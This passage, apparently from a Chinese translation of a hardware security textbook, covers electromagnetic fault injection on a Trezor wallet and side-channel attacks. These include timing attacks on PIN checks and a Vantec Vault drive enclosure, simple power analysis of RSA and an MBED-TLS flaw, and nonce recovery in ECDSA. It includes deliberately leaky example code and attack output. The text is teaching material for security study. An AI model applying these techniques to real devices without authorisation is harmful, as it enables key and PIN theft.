运行实验的最后一步是微调电磁脉冲本身,在这种情况下,意味着要在表面上方物理扫描线圈,同时调整故障宽度和功率级别。我们可以通过 PhyWhisperer-USB 脚本控制故障宽度,但功率级别是通过 ChipSHOUTER 串行接口调整的。更强大的故障很可能会重置设备,而较弱的故障可能没有任何效果。在这些极端之间,我们可能会看到一些迹象,表明我们正在注入错误,比如触发错误处理程序或导致无效的 USB 响应。触发错误处理程序表明我们可能没有完全重启设备,但对内部数据的操作产生了一些影响。特别是在 Trezor 上,LCD 屏幕会直观地显示设备何时进入错误处理程序,并报告错误类型。同样,USB 协议分析器在查看是否发生无效或异常结果时会很有帮助。找到一个偶尔会进入错误的区域通常是一个有用的起点,因为这表明该区域敏感,但又不至于过于激进,以至于每次都会导致内存或总线故障。

基于 USB 消息调整时序

成功的故障是指 USB 请求能够通过并带有完整长度的数据,成功绕过了长度检查。找到确切的时机需要一些实验。你将会由于内存错误、硬故障和重置而遭遇许多系统崩溃。使用硬件 USB 分析仪,你可以看到这些错误发生的位置,这有助于你理解故障时机,正如之前在[清单 7-14 中展示的那样。如果没有能够修改源代码来发现时机的“作弊”,理解这些错误发生的地点将变得至关重要;它们是我们理解时机的标志。

图 7-7 显示了另一张样本捕获图,这次使用的是 Total Phase Beagle USB 480。

f07007

图 7-7:一个简单的例子,USB 错误指示故障注入何时破坏程序流程

在图 7-7 的上几行显示了多个正确的 146 字节控制传输。第一部分是SETUP阶段。Trezor 已经对SETUP数据包进行了ACK确认,但随后从未发送后续数据。Trezor 进入了一个无限循环,跳转到多个中断处理程序之一进行错误检测。由于故障的时机被移位,观察到 USB 流量的不同效果:将故障时机提前通常会阻止SETUP数据包的ACK确认;将故障时机推后允许发送第一包后续数据,但不能发送第二包;而将故障时机推得更晚,则允许完整的 USB 事务执行,但随后导致设备崩溃。这些知识帮助我们理解了故障被插入 USB 代码的哪个部分,即使该故障依然是一个大锤子,导致设备重置,而不是预期的单一指令跳过。

如你所见,这为我们提供了一个故障时机窗口,用于使设备发生故障,而不需要使用我们之前的“作弊”方法。

总结

在本章中,我们介绍了如何获取未修改的比特币钱包并找到其中存储的恢复种子。我们利用目标的开源设计的一些特性提供了见解,尽管没有这些信息,攻击仍然可以成功。目标的开源设计意味着你也可以将其作为参考,调查你自己的产品,前提是你能够访问源代码。特别地,我们展示了如何使用附加到设备的调试器轻松模拟故障注入的效果。

找到一个成功的故障时机并不容易。之前的实验展示了在比较发生时,即我们希望插入故障的时机。由于这个时机存在抖动,因此没有单一的“正确”时机。除了时间外,还需要一些空间定位。如果你有一个计算机控制的 XY 扫描桌面,你也可以自动化搜索正确的位置。在这个例子中,我们只是使用了一个手动桌面,因为非常具体的定位似乎并不是必要的。

再次提醒,由于故障时序的性质,请小心选择一种经济的策略来搜索候选故障设置。你会很快发现,物理位置、故障时间、故障宽度和 EMFI 功率设置的组合意味着需要搜索大量的参数。找到缩小搜索范围的方法(例如,利用错误状态信息来理解有效区域)对保持问题空间的可处理性至关重要。在调查可能的影响时,记录“奇怪”的输出也是有用的,因为如果你只关注非常狭窄的“成功”范围,可能会错过其他有用的故障。

EMFI 故障注入的最终成功率较低。一旦故障得到正确调整,99.9%的故障会返回过短的结果,因此不会成功。然而,我们平均大约在一到两个小时内(调整位置和时间后)能够实现一次成功的故障注入,这使得它在实际中仍然是一个相对有用的攻击方法。

我们想强调的是,当你在真实设备上执行故障注入时,反向工程的一个重要部分就是要弄清楚可以引发故障的地方,比如 USB 转储、查看代码等等。我们希望前面的章节已经为你提供了一些准备,但你肯定会遇到这里没有涉及的挑战。像往常一样,尽量将挑战简化为最简单的实例,解决它们后,再将解决方案应用到整个设备上。

如果你尝试重新创建这个完整的攻击,你会发现它比我们在第六章中讨论的实验更加困难,这应该能让你体会到,尽管基本操作相似,实际设备上的故障攻击会更加困难。

现在来点完全不同的内容。在接下来的章节中,我们将转向旁路分析,并深入探讨我们在前几章中提到的内容:设备消耗的电力如何揭示设备正在执行的操作和数据。

第八章:我掌控了力量:功率分析简介

你常常会听到关于加密算法是不可破解的论调,不管计算能力如何巨大进步。这是真的。然而,正如你将在本章中学到的,发现加密算法漏洞的关键在于其实现方式,无论它们有多么“军用级”。

话虽如此,我们本章不会讨论加密实现中的错误,比如失败的边界检查。相反,我们将利用数字电子的本质,通过侧信道攻击打破那些表面上看似安全的算法。侧信道是系统中某个可观察到的方面,它能揭示系统内部所藏的秘密。我们将描述的技术利用了这些算法在硬件中的物理实现中产生的漏洞,主要是在数字设备如何使用电力方面。我们将从数据依赖的执行时间开始,我们可以通过监控功耗来确定它,然后再通过监控功耗作为一种手段,识别加密处理函数中的密钥位。

在侧信道分析方面有着相当丰富的历史先例。例如,在第二次世界大战期间,英国人曾试图估算德国生产的坦克数量。最可靠的方法竟然是通过对被俘或损坏坦克的序列号进行统计分析,假设序列号通常以直观的方式递增。本章将介绍的攻击正是这种所谓的德国坦克问题:它们结合了统计学与假设,并最终利用了对方无意中泄露给我们的少量数据。

其他历史上的侧信道攻击监测的是来自硬件的意外电子信号。事实上,几乎一开始电子系统被用来传递安全信息时,它们就已经遭遇了攻击。其中一个著名的早期攻击是“TEMPEST”攻击,由贝尔实验室的科学家们在二战期间发起,通过 80 英尺外的电波信号解码电子打字机按键,准确率达到 75%(参见美国国家安全局的《TEMPEST: A Signal Problem》)。此后,TEMPEST 被用来通过拾取计算机显示器的无线电信号,从建筑物外部重现显示在屏幕上的内容(例如,参见 Wim van Eck 的《Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk?》)。而最初的 TEMPEST 攻击是使用 CRT 显示器进行的,这一漏洞在 Markus G. Kuhn 的《Electromagnetic Eavesdropping Risks of Flat-Panel Displays》中已经被证明同样适用于更新型的 LCD 显示器,所以这项技术远远没有过时。

然而,我们将向你展示比 TEMPEST 更隐秘的东西:一种利用硬件意外发射来破解原本安全的加密算法的方法。这个策略包括运行在硬件上的软件(如微控制器上的固件)和加密算法的纯硬件实现(如加密加速器)。我们将描述如何测量,如何处理你的测量以改善泄露,并且如何提取秘密。我们将涉及的主题从芯片和印刷电路板(PCB)设计开始,跨越电子学、电磁学、(数字)信号处理、统计学、密码学,甚至到常识。

时序攻击

时机决定一切。考虑一下当实施个人身份号码(PIN)码检查时会发生什么,就像你在墙上的保险箱或门警报上看到的那样。设计师允许你输入完整的 PIN 码(比如四位数),然后将输入的 PIN 码与存储的密钥代码进行比较。在 C 代码中,它可能类似于 Listing 8-1。

int checkPassword() {
    int user_pin[] = {1, 1, 1, 1};
    int correct_pin[] = {5, 9, 8, 2};

    // Disable the error LED
    error_led_off();
 // Store four most recent buttons
    for(int i = 0; i < 4; i++) {
        user_pin[i] = read_button();
    }

    // Wait until user presses 'Valid' button
    while(valid_pressed() == 0);

    // Check stored button press with correct PIN
    for(int i = 0; i < 4; i++) {
        if(user_pin[i] != correct_pin[i]) {
            error_led_on();
            return 0;
        }
    }

    return 1;
}

Listing 8-1:用 C 语言编写的 PIN 码检查示例

看起来这是一段相当合理的代码,对吧?我们读取四位数字。如果它们与密钥代码匹配,函数返回1;否则,返回0。最终,我们可以使用这个返回值通过按下有效按钮,在输入四个数字后打开保险箱或解除安全系统。红色错误 LED 亮起,表示 PIN 码不正确。

这个保险箱可能会如何被攻击?假设 PIN 码接受数字 0 到 9,测试所有可能的组合将需要总共 10 × 10 × 10 × 10 = 10,000 次猜测。平均来说,我们需要进行 5,000 次猜测才能找到 PIN 码,但这将需要很长时间,而且系统可能会限制我们反复输入猜测的速度。

幸运的是,我们可以使用一种叫做时序攻击的技术将猜测次数减少到 40 次。假设我们有如图 8-1 所示的键盘。C 键(清除)用于清除输入,V 键(有效)用于验证。

f08001

图 8-1:一个简单的键盘

为了执行攻击,我们将两个示波器探头连接到键盘:一个连接到 V 按钮的连接线,另一个连接到错误 LED 的连接线。然后,我们输入 PIN 0000。 (当然,我们假设我们已经获得了这个 PIN 垫的副本,并且已经对其进行了拆解。)我们按下 V 按钮,观察示波器的波形,并测量按下 V 按钮与错误 LED 亮起之间的时间差。通过 Listing 8-1 中的循环执行,我们可以得出结论:如果 PIN 的前三个数字是正确的,而只有最后一次检查失败,那么函数返回失败结果所需的时间将比从一开始第一个数字就是错误时所需的时间更长。

攻击会遍历所有可能的 PIN 码第一个数字(0000、1000、2000,直到 9000),同时记录按下 V 按钮与错误 LED 亮起之间的时间延迟。图 8-2 展示了定时序列。

f08002

图 8-2:确定循环延迟时间

我们预计,当第一个 PIN 码数字正确时(假设是 1),延迟会增加,然后错误 LED 才会亮起,而这只有在第二个数字与correct_pin[]进行比较之后才会发生。我们现在知道第一个数字是正确的。图 8-2 的上半部分显示,当完全错误的序列之后按下有效按钮时,错误 LED 会在短时间内亮起(t[bad])。将其与部分正确序列之后按下有效按钮进行比较(该部分序列的第一个按钮是正确的)。现在,由于第一个数字是正确的,错误 LED 的亮起时间更长(t[correct]),但在比较第二个数字时,它会亮起错误 LED。

我们通过尝试第二个数字的每种可能性来继续攻击:输入 1000、1100、1200 直到 1900. 一如既往,我们预计当第二个数字正确时(假设是 3),延迟会增加,然后错误 LED 才会亮起。

对第三个数字进行相同的攻击,我们确定前面三个数字是 133. 现在,只需要猜测最后一个数字,看看哪个数字能解锁系统(假设是 7)。因此,PIN 码组合就是 1337. (考虑到本书的读者,我们意识到我们可能刚刚公布了你的 PIN 码。现在就更改它吧。)

这种方法的优点在于,通过知道错误数字在 PIN 码序列中的位置,我们逐步发现了数字。这个小小的信息有着巨大的影响。我们不再需要进行最多 10 × 10 × 10 × 10 次猜测,而只需要进行最多 10 + 10 + 10 + 10 = 40 次猜测。如果我们在三次失败尝试后被锁定,猜测 PIN 码的概率已经从 3/1000(0.3%)提高到了 3/40(7.5%)。进一步假设 PIN 码是随机选择的(尽管在现实中这是一个不太好的假设),我们平均能找到猜测的数字在猜测序列中的中间位置。这意味着,平均而言,我们每个数字只需要猜测五个数字,因此我们通过辅助攻击,平均总共只需进行 20 次猜测。

我们称之为定时攻击。我们只测量了两事件之间的时间,并利用这个信息恢复了部分秘密。实践中真的是这么简单吗?下面是一个真实的例子。

硬盘定时攻击

考虑一个带有 PIN 保护分区的硬盘外壳——特别是 Vantec Vault,型号 NSTV290S2。

Vault 硬盘外壳通过篡改硬盘的分区表,使其在主机操作系统中无法显示;该外壳实际上并不加密任何内容。当正确的 PIN 码输入 Vault 时,有效的分区信息将被操作系统访问。

攻击 Vault 最明显的方式可能是手动修复硬盘的分区表,但我们也可以针对其 PIN 码输入逻辑使用定时攻击—这种方式更符合我们的侧信道功率分析。

与前面讨论的 PIN 码键盘例子不同,我们首先需要确定何时按钮被读取,因为在这个设备中,微控制器仅偶尔扫描按钮。每次扫描都需要检查每个按钮的状态,以确定它是否被按下。这种扫描技术是硬件中必须接收按钮输入的标准方法。它使硬件中的微控制器能够在每次检查按钮按下与否的 100 毫秒左右时间内执行其他工作,从而维持了我们这些相对缓慢而笨拙的人类的即时反应假象。

在执行扫描时,微控制器将某些线路设置为正电压(高电平)。我们可以利用这一转换作为触发信号,指示何时正在读取按钮。按钮按下时,从此线路变为高电平到错误事件的时间延迟为我们提供了执行攻击所需的时间信息。图 8-3 显示了只有在微控制器正在读取按钮状态并且按钮同时被按下时,B 线才会变高。我们的主要挑战是触发捕获,当这个高电平值通过按钮传播时,而不仅仅是当按钮被按下时。

f08003

图 8-3:硬盘攻击时序图

这个简单的例子展示了微控制器仅每 50 毫秒检查一次按钮的状态,如上面的定时线 A 所示。它只能在这些 50 毫秒间隔内的短暂高脉冲期间检测到按钮按下。按钮按下的存在通过 A 线脉冲允许的短暂高脉冲传递到 B 线。

图 8-4 显示了硬盘外壳右侧的按钮,通过这些按钮可以输入六位数的 PIN 码。只有当整个正确的 PIN 码输入后,硬盘才会将其内容暴露给操作系统。

恰巧我们的硬盘的正确 PIN 码是 123456(和我们行李的密码相同),图 8-5 展示了我们如何读取这个密码。

上面一条是错误信号,下面一条是按钮扫描信号。垂直光标与按钮扫描信号的上升沿和错误信号的下降沿对齐。我们关心的是这两个光标之间的时间差,这对应于微控制器处理 PIN 码输入所需的时间,之后它会响应错误信号。

看图的上半部分,我们看到定时信息,其中第一位数字是错误的。按钮扫描的第一个上升沿与错误信号的下降沿之间的时间延迟给出了处理时间。相比之下,图的下半部分显示了第一位数字正确时的相同波形。注意,时间延迟稍长一些。这一延迟更长是因为密码检查循环接受了第一位数字后,继续检查下一个数字。通过这种方式,我们可以识别密码的第一位数字。

f08004

图 8-4:Vantec Vault NSTV290S2 硬盘外壳

f08005

图 8-5:硬盘定时测量

攻击的下一阶段是迭代所有第二位数字的选项(即测试 106666、116666……156666、166666),并寻找类似的处理延迟跳跃。这种延迟跳跃再次表明我们找到了正确的数字,然后可以继续攻击下一个数字。

我们可以使用定时攻击在(最多)60 次猜测内猜出 Vault 的密码(10 + 10 + 10 + 10 + 10 + 10),手动操作时不应超过 10 分钟。然而,制造商声称 Vault 有一百万个组合(10 × 10 × 10 × 10 × 10 × 10),这一点在输入 PIN 码时是正确的。然而,我们的定时攻击将实际需要尝试的组合数减少到了总组合数的 0.006%。没有任何反制措施(如随机延迟)使得我们的攻击变得复杂,硬盘也没有提供锁定机制来防止用户输入无限次的猜测。

定时攻击的功耗测量

假设为了阻止定时攻击,有人插入了一个小的随机延迟,然后才点亮错误 LED。底层的密码检查与清单 8-1 中的相同,但现在从按下 V 按钮到错误 LED 亮起之间的时间延迟不再清晰地指示错误数字的位置。

现在假设我们能够测量执行代码的微控制器的功耗。(我们将在第九章“准备示波器”一节中解释如何做到这一点。)功耗可能类似于图 8-6,该图展示了设备执行操作时的功耗轨迹。

f08006

图 8-6:设备执行操作时的功耗示例轨迹

请注意功耗轨迹的重复性。振荡将以类似微控制器工作频率的速率发生。芯片上的大部分晶体管开关活动发生在时钟的边缘,因此功耗也在这些时刻附近出现峰值。同样的原理也适用于高速设备,如 Arm 微控制器或定制硬件。

我们可以通过功率特征推测设备正在做什么。例如,如果之前讨论的随机延迟是通过一个简单的for循环来实现的,该循环从 0 计数到一个随机数n,那么它将呈现为一个重复n次的模式。在图 8-6 的窗口 B 中,一个模式(在此情况下为简单脉冲)重复了四次,因此,如果我们预期有一个随机延迟,那么这一连续四个脉冲的序列可能就是延迟。如果我们使用相同的 PIN 记录几个这样的功率轨迹,且所有模式除了脉冲数量不同,类似于窗口 B 的脉冲模式相同,那么这表明在窗口 B 周围存在一个随机过程。这个随机性可能是真正的随机过程,也可能是某种伪随机过程(伪随机通常是一个纯粹确定性的过程,用来生成“随机性”)。例如,如果你重置设备,你可能会在窗口 B 中看到相同的连续重复,这表明它并不是真正的随机。然而,更有意思的是,如果我们改变 PIN 并看到类似窗口 A 的模式数量发生变化,那么我们可以很好地推测窗口 A 周围的功率序列代表了比较函数。因此,我们可以将定时攻击集中在功率轨迹的这一部分。

这种方法与以前的定时攻击的不同之处在于,我们不需要对整个算法进行定时测量,而是可以选择算法中恰好具有特征信号的特定部分。我们可以使用类似的技术来破解加密实现,接下来我们将介绍。

简单功率分析

一切都是相对的,简单功率分析(SPA)差分功率分析(DPA)也是如此。术语简单功率分析起源于 1998 年保罗·科赫尔(Paul Kocher)、约书亚·贾菲(Joshua Jaffe)和本杰明·俊(Benjamin Jun)的论文《差分功率分析》(“Differential Power Analysis”),其中 SPA 与更复杂的 DPA 一同被提出。然而,请记住,在某些泄漏场景下,进行 SPA 有时可能比进行 DPA 更为复杂。你可以通过观察算法的单次执行来执行 SPA 攻击,而 DPA 攻击则涉及多次执行算法并使用不同的数据。DPA 通常分析数百到数十亿个轨迹之间的统计差异。虽然你可以在单个轨迹中执行 SPA,但它可能涉及几条到成千上万条轨迹——额外的轨迹是为了减少噪声。SPA 攻击的最基本示例是通过目视检查功率轨迹,这可以破解弱的加密实现或 PIN 验证,如本章前面所示。

SPA 依赖于观察每条微控制器指令在功耗轨迹中的独特表现。例如,乘法操作可以与加载指令区分开:微控制器使用不同的电路来处理乘法指令和加载指令的电路。因此,每个过程都会有一个独特的功耗特征。

SPA 与前一节讨论的定时攻击不同,SPA 让你可以检查算法的执行过程。你可以分析每个操作的时序以及操作的可识别功率特征。如果某个操作依赖于秘密密钥,你可能能够确定该密钥。即使你无法与设备交互,且只能在设备执行加密操作时观察它,你也可以使用 SPA 攻击来恢复密钥。

将 SPA 应用到 RSA

让我们将 SPA 技术应用于一个加密算法。我们将专注于非对称加密,尤其是使用私钥的操作。第一个考虑的算法是 RSA 加密系统,我们将研究一个解密操作。RSA 加密系统的核心是模幂运算算法,该算法计算 m[e] = c mod n,其中 m 是消息,c 是密文,mod n 是取模运算。如果你不熟悉 RSA,我们建议阅读 Jean-Philippe Aumasson 的《Serious Cryptography》(也由 No Starch Press 出版),这本书以通俗易懂的方式介绍了理论。我们在第六章也提供了对 RSA 的快速概述,但对于接下来的侧信道分析,你只需了解它处理数据和一个密钥的事实,不需要理解 RSA 的任何其他内容。

这个秘密密钥是模幂运算算法中处理的一部分,列表 8-2 展示了一个可能的模幂运算算法实现。

unsigned int do_magic(unsigned int secret_data, unsigned int m, unsigned int n) {
    unsigned int P = 1;
    unsigned int s = m;
    unsigned int i;

    for(i = 0; i < 10; i++) {
        if (i > 0)
            s = (s * s) % n;

        if (secret_data & 0x01)
            P = (P * s) % n;

        secret_data = secret_data >> 1;
    }

    return P;
}

列表 8-2:平方-乘法算法的实现

这个算法恰好位于你可能会在经典教科书中学到的 RSA 实现的核心。这个特定的算法叫做 平方-乘法指数,是针对一个 10 位密钥硬编码的,密钥由 secret_data 变量表示。(通常,secret_data 会是一个更长的密钥,位数在几千位范围内,但为了这个例子,我们保持它较短。)变量 m 是我们尝试解密的消息。当攻击者确定 secret_data 的值时,系统防御已经被突破。对这个算法进行侧信道分析是一种可以攻破系统的策略。注意,我们在第一次迭代时跳过了平方操作。第一个 if (i > 0) 不是我们攻击的泄漏部分,它只是算法构造的一部分。

SPA 可以用来查看这个算法的执行并确定其代码路径。如果我们能够识别是否执行了P * s,就能找到secret_data的一个位的值。如果我们能为每次循环迭代识别这一点,那么我们可能能够直接从功耗示波器的跟踪中读取这个秘密(见图 8-7)。

在我们解释如何读取这个跟踪之前,仔细观察一下跟踪,并尝试将算法的执行与其对应起来。

f08007

图 8-7:平方与乘法执行的功耗跟踪

注意在大约 5 毫秒到 12 毫秒之间(100µs 单位 x 轴上的 50 到 120 之间)的一些有趣的模式:大约 0.9 毫秒和 1.1 毫秒的块交替出现。我们可以将较短的块称为 Q(快速),将较长的块称为 L(长)。Q 出现了 10 次,L 出现了四次;它们的顺序是 QLQQQQLQLQQQQL。这是 SPA 信号分析的可视化部分。

现在,我们需要通过将这些信息与某些秘密相关联来进行解释。如果我们假设s * sP * s是计算上昂贵的操作,我们应该能看到外循环的两种变体:一种仅包含平方(S,(s * s)),另一种既包含平方也包含乘法(SM,(s * s)接着是(P * s))。我们小心地忽略了i = 0的情况,因为它没有(s * s),但我们会讨论这个问题。

我们知道,当位为 0 时执行 S 操作,而当位为 1 时执行 SM 操作。现在缺少的一个部分是:跟踪中的每个块是否对应单一的 S 操作或单一的 M 操作,还是每个块对应一个循环迭代,因此可能是单一的 S 操作或结合的 SM 操作?换句话说,我们的映射是{Q → S, L → M},还是{Q → S, L → SM}?

答案的线索就在序列 QLQQQQLQLQQQQL 中。注意,每个 L 前面都有一个 Q,并且没有 LL 序列。根据算法,每个 M 必须在 S 之前(第一次迭代除外),并且没有 MM 序列。这表明{Q → S, L → M}是正确的映射,因为{Q → S, L → SM}映射可能也会产生 LL 序列。

这使我们能够将模式映射到操作,并将操作映射到秘密位,这意味着 QLQQQQLQLQQQQL 将变为操作 SM,S,S,S,SM,SM,S,S,S,SM。算法处理的第一个位是密钥的最低有效位,我们观察到的第一个序列是 SM。由于算法跳过了最低有效位的 S 操作,我们知道初始的 SM 必须来自下一个循环迭代,因此是下一个位。有了这个信息,我们就能重建密钥:10001100010。

将 SPA 应用于 RSA,Redux

RSA 实现中的模幂运算实现会有所不同,一些变体可能需要更多的努力才能破解。但从根本上讲,找到处理 0 位或 1 位的差异是 SPA 攻击的起点。例如,ARM 开源的 MBED-TLS 库的 RSA 实现使用了一种叫做窗口化的方法。它一次处理多个秘密密钥位(一个窗口),这在理论上意味着攻击更复杂,因为该算法不会逐个位地处理。Praveen Kumare Vadnala 和 Lukasz Chmielewski 的《利用侧信道攻击攻击 OpenSSL:RSA 案例研究》描述了对 MBED-TLS 使用的窗口化实现的完整攻击。

我们特别指出,拥有一个简单的模型是一个很好的起点,即使实现与模型不完全相同,因为即使是最好的实现也可能存在可以通过简单模型解释/利用的缺陷。MBED-TLS 版本 2.26.0 中用于 RSA 解密的窗口化模幂运算函数的实现就是一个例子。在接下来的讨论中,我们已经从 MBED-TLS 中提取了bignum.c文件,并简化了mbedtls_mpi_exp_mod函数的部分代码,生成了清单 8-3 中的代码,这假设我们有一个存储秘密密钥的secret_key变量,以及一个存储要处理的位数的secret_key_size变量。

 int ei, state = 0;
 1 for( int i = 0; i < secret_key_size; i++ ){
     2 ei = (secret_key >> i) & 1;
     3 if( ei == 0 && state == 0 )
           // Do nothing, loop for next bit
       else
         4 state = 2;
}
`--snip--`

清单 8-3:bignum.c的伪代码,展示了mbedtls_mpi_exp_mod实现流程的一部分

我们将参考 MBED-TLS 版本 2.26.0 中bignum.c文件的原始行号,以便您可以找到具体的实现。如果您想查找,外部的for()循环 1 在清单 8-3 中实现为while(1)循环,并可以在第 2227 行找到。

一个秘密密钥位被加载到ei变量中 2(在原文件的第 2241 行)。作为模幂运算实现的一部分,该函数将处理秘密密钥的位,直到遇到第一个值为 1 的位为止。为了执行此处理,state变量是一个标志,指示我们是否已经完成了所有前导零的处理。我们可以看到在 3 处的比较,如果state == 0(意味着我们还没有看到 1 位)并且当前的秘密密钥位(ei)是 0 时,跳过循环的下一次迭代。

有趣的是,比较 3 中的操作顺序对于此函数来说是一个完全致命的缺陷。值得信赖的 C 编译器通常会首先执行ei == 0的比较,而不是state == 0的比较。ei比较总是泄露秘密密钥位 4 的值,对于所有密钥位而言。事实证明,您可以通过 SPA(侧信道攻击)捕捉到这一点。

If the `state` comparison was done first instead, the comparison would never even reach the point of checking the `ei` value once the `state` variable was nonzero (the `state` variable becomes nonzero after processing the first secret key bit set to 1). The simple fix (which may not work with every compiler) is to swap the order of the comparison to be `state == 0 && ei == 0`. This example shows the importance of checking your implementation as a developer and the value in making basic assumptions as an attacker. As you can see, SPA exploits the fact that different operations introduce differences in power consumption. In practice, you should easily be able to see different instruction paths when they differ by a few dozen clock cycles, but those differences will become harder to see as the instruction paths get closer to taking only a single cycle. The same limitation holds for data-dependent power consumption: if the data affects many clock cycles, you should be able to read the path, but if the difference is just a small power variation at an individual instruction, you’ll see it only on particularly leaky targets. Yet, if these operations directly link to secrets, as in Figure 8-7, you should still be able to learn those secrets. Once the power variations dip below the noise level, SPA has one more trick up its sleeve before you may want to switch to DPA: *signal processing*. If your target executes its critical operations in a constant time with constant data and a constant execution path, you can rerun the SPA operations many times and average the power measurements in order to counter noise. We’ll discuss more elaborate filtering in Chapter 11\. However, sometimes the leakage is so small that we need heavy statistics to detect it, and that’s where DPA comes in. You’ll learn more about DPA in Chapter 10. ### SPA on ECDSA This section uses the companion notebook for this chapter (available at [`nostarch.com/hardwarehacking/`](https://nostarch.com/hardwarehacking/)). Keep it handy, as we’ll reference it throughout this section. The section titles in this book match the section titles in the notebook. #### Goal and Notation The *Elliptic Curve Digital Signature Algorithm (ECDSA)* uses *elliptic curve cryptography (ECC)* to generate and verify secure signature keys. In this context, a digital *signature* applied to a computer-based document is used to verify cryptographically that a message is from a trusted source or hasn’t been modified by a third party. The goal is to use SPA to recover the private key `d` from the execution of an ECDSA signature algorithm so that we can use it to sign messages purporting to be the sender. At a high level, the inputs to an ECDSA signature are the private key `d`, the public point `G`, and a message `m`, and the output is a signature `(r,s)`. One weird thing about ECDSA is that the signatures are different every time, even for the same message. (You’ll see why in a moment.) The ECDSA *verification* algorithm verifies a message by taking the public point `G`, public key `pd`, message `m`, and the signature `(r,s)` as inputs. A *point* is nothing more than a set of xy-coordinates on a *curve*—hence the C in ECDSA. In developing our attack, we rely on the fact that the ECDSA signature algorithm internally uses a random number `k`. This number must be kept secret, because if the value of `k` of a given signature `(r,s)` is revealed, you can solve for `d`. We’re going to extract `k` using SPA and then solve for `d`. We’ll refer to `k` as a *nonce*, because besides requiring secrecy, it must also remain unique (*nonce* is short for “number used once”). As you can see in the notebook, a few basic functions implement ECDSA signing and verification, and some lines exercise these functions. For the remainder of this notebook, we create a random public/private key `pd/d`. We also create a random message hash `e` (skipping the actual hashing of a message `m`, which is not relevant here). We perform a signing operation and verification operation, just to check that all is well. From here on, we’ll use only the public values, plus a simulated power trace, to recover the private values. #### Finding a Leaky Operation Now, let’s tickle your brain. Check the functions `leaky_scalar_mul()` and `ecdsa_sign_leaky()`. As you know, we’re after nonce `k`, so try to find it in the code. Pay specific attention to how nonce `k` is processed by the algorithm and come up with some hypotheses on how it may leak into a power trace. This is an SPA exercise, so try to spot the secret-dependent operations. As you may have figured out, we’ll attack the calculation of the nonce `k`multiplied by public point `G`. In ECC, this operation is called a *scalar multiplication* because it multiplies a scalar `k` with a point `G`. The textbook algorithm for scalar multiplication takes the bits of `k` one by one, as implemented in `leaky_scalar_mul()`. If the bit is 0, only a point-doubling is executed. If the bit is 1, both a point-addition and a point-doubling are executed. This is much like textbook RSA modular exponentiation, and as such, it also leads to an SPA leak. If you can differentiate between point-doubling only and point-addition followed by point-doubling, you can find the individual bits of `k`. As mentioned before, we can then calculate the full private key `d`. #### Simulating SPA Traces of a Leaky ECDSA In the notebook, `ecdsa_sign_leaky()` signs a given message with a given private key. In doing so, it leaks the simulated timing of the loop iterations in the scalar multiplication implemented in `leaky_scalar_mul()`. We’re obtaining this timing by randomly sampling a normal distribution. In a real target, the timing characteristics will be different from what we do here. However, any measurable timing difference between the operations will be exploitable in the same way. Next, we turn the timings into a simulated power trace using the function `timeleak_to_trace()`. The start of such a trace will be plotted in the notebook; Figure 8-8 also shows an example. ![f08008](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/hw-hck-hb/img/f08008.png) Figure 8-8: Simulated ECDSA power consumption trace showing nonce bits In this simulated trace, you can see an SPA timing leakage where the loops performing point-doublings (secret nonce `k` bit = 0) are shorter in duration than loops that perform both point-addition and point-doubling (secret nonce `k` bit = 1). #### Measuring Scalar Multiplication Loop Duration When attacking an unknown nonce, we’ll have a power trace, but we don’t know the bits for `k`. Therefore, we analyze the distances between the peaks using `trace_to_difftime()` in the notebook. This function first applies a vertical threshold to the traces to get rid of amplitude noise and turn the power trace into a “binary” trace. The power trace is now a sequence of 0 (low) and 1 (high) samples. We’re interested in the duration of all sequences of ones because they measure the duration of the scalar multiplication loop. For example, the sequence [1, 1, 1, 1, 1, 0, 1, 0, 1, 1] turns into the durations [5, 1, 2], corresponding to the number of sequential ones. We apply some NumPy magic (explained in more detail in the notebook) to accomplish this conversion. Next, we plot these durations on top of the binary trace; Figure 8-9 shows the result. ![f08009](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/hw-hck-hb/img/f08009.png) Figure 8-9: Binary ECDSA power consumption trace showing SPA timing leakage #### From Durations to Bits In an ideal world, we would have “long” and “short” durations as well as one cutoff that correctly separates the two. If a duration is below the cutoff, we would have only point-doubling (secret bit 0), or as shown earlier, we would have both point-addition and point-doubling (secret bit 1). Alas, in reality, timing jitter will cause this naive SPA to fail because the cutoff is not able to separate the two distributions perfectly. You can see this effect in the notebook and Figure 8-10. ![f08010](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/hw-hck-hb/img/f08010.png) Figure 8-10: The distribution of the durations for a double-only (left) and a double-and-add (right) overlap, disallowing the duration to be a perfect predictor. How do you solve for this? An important insight is that we have a good idea of which bits are likely incorrect: namely, the ones that are closest to the cutoff. In the notebook, the `simple_power_analysis()` function analyzes the duration for each operation. Based on this analysis, it generates a guessed value for `k` and a list of bits in `k` that are closest to the cutoff. The cutoff is determined as the mean of the 25th and 75th percentiles in the duration distribution, as this is more stable than taking the average. #### Brute-Forcing the Way Out Since we have an initial guess of `k` and the bits closest to the cutoff, we can simply brute-force those bits. In the notebook, we do this in the `bruteforce()` function. For all candidates for `k`, a value of the private key `d` is calculated. The function has two means of verifying whether it found the correct `d`. If it has access to the correct `d`, it can cheat by comparing the calculated `d` with the correct `d`. If it doesn’t have access to the correct `d`, it calculates the signature `(r,s)` from the guessed `k` and calculated `d` and then checks that this signature is correct. This process is much, much slower, but it’s something you’ll face when doing this for real. Even this brute-force attack won’t always yield the correct nonce, so we’ve put it in a giant loop for you. Let it run for a while, and it will recover the private key simply from only SPA timings. After some time, you’ll see something like Listing 8-4. ``` Attempt 16 Guessed k: 0b111111110001100101011110000110101100011100000011001111010011001111010001000010110110110010011001001100000011101000110111010101011010001110011000010001100000010100001101111010000000010010010000110110111100001101001111010110001000110011101000010010100101101 Actual k: 0b111111110001100101011110000110101100011100001011001111010011001111010001000010110110110010011111001100000011101000110111010101011010001110011000010001100000010100001101111010000000010010010000111110111100001101001111010110001000110011101000010010100101101 Bit errors: 4 Bruteforcing bits: [241 60 209 160 161 212 34 21] No key for you. Attempt 17 Guessed k: 0b11111011101110001001010000100001101011000000100111000001011010011010010000110110000110010010011111000110110111011100110001110101010110000000100110001111101000110010001101001100011101101010111000110111110011101001011110010100011101100011100011011000100 Actual k: 0b11111011101110001001010000100001101011000000110111000001011010011010010000110110000110010110011111000110110111011101110001110101010110000000100110011111101000111010001101001100011101101010111000110111110011101001011110010100011101101011100011011000100 Bit errors: 6 Bruteforcing bits: [103 185 135 205 18 161 90 98] Yeash! Key 